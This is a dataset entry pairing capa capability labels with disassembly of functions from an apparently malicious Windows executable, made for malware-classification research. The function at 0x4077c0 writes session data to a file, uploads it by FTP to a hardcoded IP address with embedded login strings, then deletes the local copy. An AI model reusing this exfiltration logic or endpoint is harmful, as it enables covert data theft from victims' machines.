joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406bc0
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x41c
push ebx
push esi
push edi
push str.GetDiskFreeSpaceExA
push str.kernel32.dll
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x406cb1
lea eax, [esp + 0x128]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov cl, byte [esp + 0x128]
mov dl, byte [esp + 0x129]
lea eax, [esp + 0x20]
push eax
mov byte [esp + 0x10], cl
lea ecx, [esp + 0x1c]
mov byte [esp + 0x11], dl
push ecx
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x18]
push eax
mov byte [esp + 0x1e], 0
call esi
test eax, eax
je 0x406cb1
mov ecx, dword [esp + 0x14]
test ecx, ecx
ja 0x406cb1
mov eax, dword [esp + 0x10]
jb 0x406c4f
cmp eax, 0xbebc200
jae 0x406cb1
push 0
push 0xfa300
push ecx
push eax
call fcn.0040d1d0
push edx
push eax
push 0x7a12d
mov ecx, 0x48eeb8
call fcn.004042f0
push eax
lea ecx, [esp + 0x234]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [esp + 0x22c]
push edx
push 0x7a13f
mov ecx, 0x48eeb8
call fcn.004042f0
push eax
mov eax, dword [0x48ee7c]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ebx, dword [ebp + 8]
mov edx, 0x48ef20
mov eax, ebx
sub edx, ebx
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x406cc0
push 1
push ebx
mov ecx, edi
call fcn.00406aa0
test eax, eax
je 0x406ca6
mov ecx, dword [0x48ee7c]
push 0
push 0
push 0xf
push ecx
mov dword [0x48ef18], 0x64
call dword [sym.imp.USER32.dll_PostMessageA]
mov byte [esp + 0x28], 0
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x29]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x7a146
mov ecx, 0x48eeb8
stosb byte es:[edi], al
call fcn.004042f0
push 0
push 0
push 0x100
lea edx, [esp + 0x34]
mov esi, eax
push edx
push esi
call fcn.00409320
add esp, 4
inc eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [0x48ee7c]
push 0x3fc
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
lea ecx, [esp + 0x28]
push ecx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push ebx
call fcn.0041d9c0
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
mov byte [0x48ef20], 0
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4077c0
Capabilities:
Connect to http server
Create http request
Delete file
Get common file path
Send file using ftp

Disassembly:
sub esp, 0x34c
push esi
push edi
lea eax, [esp + 0x14c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0x48ed40
lea ecx, [esp + 0x4c]
push str.SESSION_IP_PORT__s.gs
push ecx
call fcn.00409160
lea edx, [esp + 0x54]
push edx
lea eax, [esp + 0x15c]
push eax
lea ecx, [esp + 0x264]
push str._s_s
push ecx
call fcn.00409160
lea edx, [esp + 0x64]
push 0x427ab8
push edx
call fcn.00409c80
mov esi, eax
add esp, 0x24
test esi, esi
je 0x40784f
push 0x48eb78
push str.SESSION_IP_:__d_n
push esi
call fcn.0040d400
push 0x48ec80
push str.SESSION_PORT_:__d_n
push esi
call fcn.0040d400
push esi
call fcn.00409ad0
add esp, 0x1c
push 0x10000000
push 0
push 0
push 0
push str.GhostSoul_Online
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
je 0x4078e7
mov ecx, dword [0x427b18]
mov eax, dword [str.119.205.224.101]
mov edx, dword [0x427b1c]
push ebx
push 0
push 0
push 1
push str.rjtlrlajsi
push str.nngbug
mov dword [esp + 0x24], ecx
push 0x15
lea ecx, [esp + 0x24]
mov dword [esp + 0x24], eax
mov eax, dword [0x427b20]
push ecx
push edi
mov dword [esp + 0x34], edx
mov dword [esp + 0x38], eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
push 0x4274ac
push esi
call dword [sym.imp.WININET.dll_FtpSetCurrentDirectoryA]
test esi, esi
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
je 0x4078e3
push 0
push 2
lea edx, [esp + 0x54]
push edx
lea eax, [esp + 0x260]
push eax
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
push esi
call ebx
push edi
call ebx
pop ebx
lea ecx, [esp + 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
add esp, 0x34c
ret
Function at 0x40aa50
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x42d270]
mov dword [ebp - 0xc], eax
cmp dword [ebp + 8], 0
je 0x40aacc
mov eax, dword [ebp + 8]
push eax
call fcn.0040aba0
add esp, 4
test eax, eax
jne 0x40aa92
mov dword [0x48f378], 0xf
mov dword [0x48f374], 0xd
xor eax, eax
jmp 0x40ab91
mov ecx, dword [ebp + 8]
add ecx, 0x40
mov byte [ebp - 4], cl
mov byte [ebp - 3], 0x3a
mov byte [ebp - 2], 0x2e
mov byte [ebp - 1], 0
lea edx, [ebp - 0x11c]
push edx
lea eax, [ebp - 0x118]
push eax
push 0x104
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov dword [ebp - 0x120], eax
jmp 0x40aae4
lea edx, [ebp - 0x118]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
je 0x40ab08
mov eax, dword [ebp - 0x120]
add eax, 1
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x104
jbe 0x40ab0f
xor eax, eax
jmp 0x40ab91
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
jne 0x40ab65
mov edx, dword [ebp - 0x120]
cmp edx, dword [ebp + 0x10]
jle 0x40ab34
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x124], eax
jmp 0x40ab3d
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x124], ecx
mov edx, dword [ebp - 0x124]
push edx
call fcn.0040b8b0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40ab63
mov dword [0x48f374], 0xc
xor eax, eax
jmp 0x40ab91
jmp 0x40ab7e
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp + 0x10]
jle 0x40ab7e
mov dword [0x48f374], 0x22
xor eax, eax
jmp 0x40ab91
lea ecx, [ebp - 0x118]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.004107b0
add esp, 8
mov ecx, dword [ebp - 0xc]
call fcn.00411b10
mov esp, ebp
pop ebp
ret
Function at 0x40abf0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427e18
push 0x411ce4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffed8
mov eax, dword [0x42d270]
mov dword [ebp - 0x20], eax
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
lea eax, [ebp - 0x128]
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0
mov ecx, dword [ebp - 0x134]
push ecx
push 0x105
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x104
jle 0x40ad1a
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x12c]
add eax, 4
and eax, 0xfffffffc
call fcn.00409250
mov dword [ebp - 0x138], esp
mov dword [ebp - 0x18], esp
mov edx, dword [ebp - 0x138]
mov dword [ebp - 0x134], edx
mov dword [ebp - 4], 0xffffffff
jmp 0x40acf4
cmp dword [ebp - 0x12c], 0
je 0x40ad1a
mov ecx, dword [ebp - 0x134]
push ecx
mov edx, dword [ebp - 0x12c]
add edx, 1
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x12c], 0
je 0x40ad51
mov eax, dword [ebp - 0x134]
movzx ecx, byte [eax + 1]
cmp ecx, 0x3a
jne 0x40ad51
mov edx, dword [ebp - 0x134]
movzx eax, byte [edx]
push eax
call fcn.00411df0
add esp, 4
sub eax, 0x40
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x130], 0
je 0x40ad6b
push 2
mov ecx, dword [ebp - 0x134]
push ecx
call fcn.0040c290
add esp, 8
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0x144]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x20]
call fcn.00411b10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40ae70
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x48f3c0], 1
jne 0x40ae8d
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x48f3bc], 1
mov cl, byte [ebp + 0x10]
mov byte [0x48f3b8], cl
cmp dword [ebp + 0xc], 0
jne 0x40aef2
cmp dword [0x490b1c], 0
je 0x40aee0
mov edx, dword [0x490b18]
sub edx, 4
mov dword [0x490b18], edx
mov eax, dword [0x490b18]
cmp eax, dword [0x490b1c]
jb 0x40aee0
mov ecx, dword [0x490b18]
cmp dword [ecx], 0
je 0x40aede
mov edx, dword [0x490b18]
call dword [edx]
jmp 0x40aeaf
push 0x42d040
push 0x42d038
call fcn.0040afa0
add esp, 8
push 0x42d04c
push 0x42d044
call fcn.0040afa0
add esp, 8
cmp dword [0x48f3c4], 0
jne 0x40af2b
push 0xffffffffffffffff
call fcn.0040cb30
add esp, 4
and eax, 0x20
je 0x40af2b
mov dword [0x48f3c4], 1
call fcn.0040d160
cmp dword [ebp + 0x10], 0
je 0x40af33
jmp 0x40af49
mov dword [0x48f3c0], 1
mov eax, dword [ebp + 8]
push eax
call fcn.0040af50
add esp, 4
pop ebp
ret
Function at 0x40d6a0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40d6bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40d6c4
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40d6db
mov ecx, dword [ebp - 4]
push ecx
call fcn.00411060
add esp, 4
or eax, 0xffffffff
jmp 0x40d6dd
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40d6f0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428508
push 0x411ce4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffff90
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov eax, 0x94
call fcn.00409250
mov dword [ebp - 0x7c], esp
mov dword [ebp - 0x18], esp
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x70]
mov dword [ecx], 0x94
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax + 0x10]
mov dword [0x48f380], ecx
mov edx, dword [ebp - 0x70]
mov eax, dword [edx + 4]
mov dword [0x48f38c], eax
mov ecx, dword [ebp - 0x70]
mov edx, dword [ecx + 8]
mov dword [0x48f390], edx
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax + 0xc]
and ecx, 0x7fff
mov dword [0x48f384], ecx
cmp dword [0x48f380], 2
je 0x40d78f
mov edx, dword [0x48f384]
or edx, 0x8000
mov dword [0x48f384], edx
mov eax, dword [0x48f38c]
shl eax, 8
add eax, dword [0x48f390]
mov dword [0x48f388], eax
call fcn.0040d960
mov dword [ebp - 0x6c], eax
push 0
call fcn.004152e0
add esp, 4
test eax, eax
jne 0x40d7c2
push 0x1c
call fcn.0040d930
add esp, 4
call fcn.00411f20
mov dword [ebp - 4], 0
call fcn.00411400
test eax, eax
jge 0x40d7e1
push 0x1b
call fcn.0040d900
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x490b0c], eax
call fcn.00417d40
mov dword [0x48f3f0], eax
call fcn.004178e0
test eax, eax
jge 0x40d809
push 8
call fcn.0040d900
add esp, 4
call fcn.00417760
test eax, eax
jge 0x40d81c
push 9
call fcn.0040d900
add esp, 4
push 1
call fcn.0040ad90
add esp, 4
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
je 0x40d83b
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.0040d900
add esp, 4
mov dword [ebp - 0x34], 0
lea edx, [ebp - 0x60]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00417690
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x34]
and eax, 1
je 0x40d865
movzx ecx, word [ebp - 0x30]
mov dword [ebp - 0x80], ecx
jmp 0x40d86c
mov dword [ebp - 0x80], 0xa
mov edx, dword [ebp - 0x80]
push edx
mov eax, dword [ebp - 0x68]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x6c], 0
jne 0x40d896
mov ecx, dword [ebp - 0x74]
push ecx
call fcn.0040adf0
call fcn.0040ae30
mov dword [ebp - 4], 0xffffffff
jmp 0x40d8e3
mov eax, dword [ebp - 0x74]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d960
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
je 0x40d986
xor eax, eax
jmp 0x40da0d
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
cmp dword [ecx], 0x4550
je 0x40d9a1
xor eax, eax
jmp 0x40da0d
mov edx, dword [ebp - 8]
add edx, 0x18
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
movzx ecx, word [eax]
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0x10b
je 0x40d9c7
cmp dword [ebp - 0x14], 0x20b
je 0x40d9e7
jmp 0x40da0b
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x5c], 0xe
ja 0x40d9d4
xor eax, eax
jmp 0x40da0d
mov eax, dword [ebp - 0xc]
xor ecx, ecx
cmp dword [eax + 0xd0], 0
setne cl
mov eax, ecx
jmp 0x40da0d
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x6c], 0xe
ja 0x40d9fa
xor eax, eax
jmp 0x40da0d
mov ecx, dword [ebp - 0x10]
xor eax, eax
cmp dword [ecx + 0xe0], 0
setne al
jmp 0x40da0d
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x411710
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1028
call fcn.00409250
mov eax, dword [0x42d270]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x1020]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
cmp ecx, dword [0x48f9c0]
jae 0x41175d
mov edx, dword [ebp + 8]
sar edx, 5
mov eax, dword [ebp + 8]
and eax, 0x1f
mov ecx, dword [edx*4 + 0x48f9e0]
movsx edx, byte [ecx + eax*8 + 4]
and edx, 1
jne 0x41176f
mov dword [0x48f374], 9
or eax, 0xffffffff
jmp 0x411911
cmp dword [ebp + 0xc], 0
jge 0x411793
push str.size___0
push 0
push 0x79
push str.chsize.c
push 2
call fcn.0040da30
add esp, 0x14
cmp eax, 1
jne 0x411793
int3
push 1
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.00411920
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
je 0x4117c5
push 2
push 0
mov edx, dword [ebp + 8]
push edx
call fcn.00411920
add esp, 0xc
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x4117cd
or eax, 0xffffffff
jmp 0x411911
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x4118ac
push 0x1000
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00414db0
add esp, 0xc
push 0x8000
mov edx, dword [ebp + 8]
push edx
call fcn.00418ec0
add esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], 0x1000
jl 0x41181c
mov dword [ebp - 0x1024], 0x1000
jmp 0x411825
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1024], eax
mov ecx, dword [ebp - 0x1024]
mov dword [ebp - 8], ecx
cmp dword [ebp - 0xc], 0x1000
jl 0x411843
mov dword [ebp - 0x1028], 0x1000
jmp 0x41184c
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x1028], edx
mov eax, dword [ebp - 0x1028]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0040a2c0
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x411887
cmp dword [0x48f378], 5
jne 0x41187f
mov dword [0x48f374], 0xd
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x41189a
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 8]
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0
jg 0x411807
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00418ec0
add esp, 8
jmp 0x4118fc
cmp dword [ebp - 0xc], 0
jge 0x4118fc
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00411920
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
call fcn.004113a0
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
neg eax
sbb eax, eax
neg eax
dec eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x4118fc
mov dword [0x48f374], 0xd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x48f378], eax
push 0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00411920
add esp, 0xc
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x20]
call fcn.00411b10
mov esp, ebp
pop ebp
ret

Function at 0x411b10
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42d270]
jne 0x411b19
ret
jmp fcn.00411b20
Function at 0x411b90
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, 4
call fcn.00409250
mov dword [ebp - 0x64], esp
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x10], eax
push 0x1c
lea ecx, [ebp - 0x58]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x411bc4
xor eax, eax
jmp 0x411cd2
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x60], eax
lea ecx, [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
sub eax, 1
not eax
and eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov ecx, dword [0x48f380]
sub ecx, 1
neg ecx
sbb ecx, ecx
and ecx, 0xfffffff1
add ecx, 0x11
imul ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x60]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 8]
jae 0x411c17
xor eax, eax
jmp 0x411cd2
cmp dword [0x48f380], 1
je 0x411c9d
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x5c], eax
push 0x1c
lea ecx, [ebp - 0x58]
push ecx
mov edx, dword [ebp - 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x411c41
xor eax, eax
jmp 0x411cd2
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x4c]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x48]
and ecx, 0x1000
je 0x411c26
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x44]
and eax, 0x100
je 0x411c6c
mov eax, 1
jmp 0x411cd2
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 0x5c]
jae 0x411c78
xor eax, eax
jmp 0x411cd2
mov edx, dword [ebp - 0x5c]
cmp edx, dword [ebp - 8]
jae 0x411c86
mov eax, dword [ebp - 8]
mov dword [ebp - 0x5c], eax
push 4
push 0x1000
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
jmp 0x411ca3
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x5c], eax
mov ecx, dword [0x48f380]
sub ecx, 1
neg ecx
sbb ecx, ecx
and ecx, 0x103
add ecx, 1
mov dword [ebp - 4], ecx
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x64]
mov esp, ebp
pop ebp
ret
Function at 0x417fb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x42d270]
mov dword [ebp - 0x14], eax
push esi
mov dword [ebp - 4], 0
jmp 0x417fd4
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x13
jae 0x417fed
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
cmp edx, dword [ecx*8 + 0x42d8b0]
jne 0x417feb
jmp 0x417fed
jmp 0x417fcb
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
cmp ecx, dword [eax*8 + 0x42d8b0]
jne 0x4181ab
cmp dword [ebp + 8], 0xfc
je 0x418033
cmp dword [ebp + 8], 0xff
je 0x418033
mov edx, dword [ebp - 4]
mov eax, dword [edx*8 + 0x42d8b4]
push eax
push 0
push 0
push 0
push 1
call fcn.0040da30
add esp, 0x14
cmp eax, 1
jne 0x418033
int3
cmp dword [0x48f3f8], 1
je 0x41804e
cmp dword [0x48f3f8], 0
jne 0x418087
cmp dword [0x42d234], 1
jne 0x418087
push 0
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx*8 + 0x42d8b4]
push eax
call fcn.004108b0
add esp, 4
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx*8 + 0x42d8b4]
push edx
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x4181ab
cmp dword [ebp + 8], 0xfc
je 0x4181ab
mov byte [ebp - 0x1c], 0
push 0x104
lea eax, [ebp - 0x120]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4180c4
push str._program_name_unknown_
lea ecx, [ebp - 0x120]
push ecx
call fcn.004107b0
add esp, 8
lea edx, [ebp - 0x120]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
push eax
call fcn.004108b0
add esp, 4
add eax, 1
cmp eax, 0x3c
jbe 0x41810d
lea ecx, [ebp - 0x120]
push ecx
call fcn.004108b0
add esp, 4
mov edx, dword [ebp - 0x10]
lea eax, [edx + eax - 0x3b]
mov dword [ebp - 0x10], eax
push 3
push 0x42870c
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00409860
add esp, 0xc
mov edx, dword [ebp - 0x10]
push edx
call fcn.004108b0
add esp, 4
mov esi, eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x42d8b4]
push ecx
call fcn.004108b0
add esp, 4
lea eax, [esi + eax + 0x1c]
add eax, 3
and eax, 0xfffffffc
call fcn.00409250
mov dword [ebp - 0x124], esp
mov edx, dword [ebp - 0x124]
mov dword [ebp - 0xc], edx
push str.Runtime_Error__n_nProgram:
mov eax, dword [ebp - 0xc]
push eax
call fcn.004107b0
add esp, 8
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.004107c0
add esp, 8
push 0x428680
mov eax, dword [ebp - 0xc]
push eax
call fcn.004107c0
add esp, 8
mov ecx, dword [ebp - 4]
mov edx, dword [ecx*8 + 0x42d8b4]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.004107c0
add esp, 8
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.004186b0
add esp, 0xc
lea esp, [ebp - 0x128]
mov ecx, dword [ebp - 0x14]
call fcn.00411b10
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4186b0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 0
cmp dword [0x48f574], 0
jne 0x41876b
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x418702
push 0x428ed4
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x48f574], eax
cmp dword [0x48f574], 0
jne 0x418709
xor eax, eax
jmp 0x41881a
push str.GetActiveWindow
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x48f578], eax
push str.GetLastActivePopup
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x48f57c], eax
cmp dword [0x48f380], 2
jne 0x41876b
push str.GetUserObjectInformationA
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x48f584], eax
cmp dword [0x48f584], 0
je 0x41876b
push str.GetProcessWindowStation
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x48f580], eax
cmp dword [0x48f580], 0
je 0x4187ac
call dword [0x48f580]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4187a5
lea edx, [ebp - 0x18]
push edx
push 0xc
lea eax, [ebp - 0xc]
push eax
push 1
mov ecx, dword [ebp - 0x10]
push ecx
call dword [0x48f584]
test eax, eax
je 0x4187a5
mov edx, dword [ebp - 4]
and edx, 1
jne 0x4187ac
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0
je 0x4187d6
cmp dword [0x48f38c], 4
jb 0x4187c8
mov eax, dword [ebp + 0x10]
or eax, 0x200000
mov dword [ebp + 0x10], eax
jmp 0x4187d4
mov ecx, dword [ebp + 0x10]
or ecx, 0x40000
mov dword [ebp + 0x10], ecx
jmp 0x418804
cmp dword [0x48f578], 0
je 0x4187e8
call dword [0x48f578]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x418804
cmp dword [0x48f57c], 0
je 0x418804
mov edx, dword [ebp - 0x14]
push edx
call dword [0x48f57c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [0x48f574]
mov esp, ebp
pop ebp
ret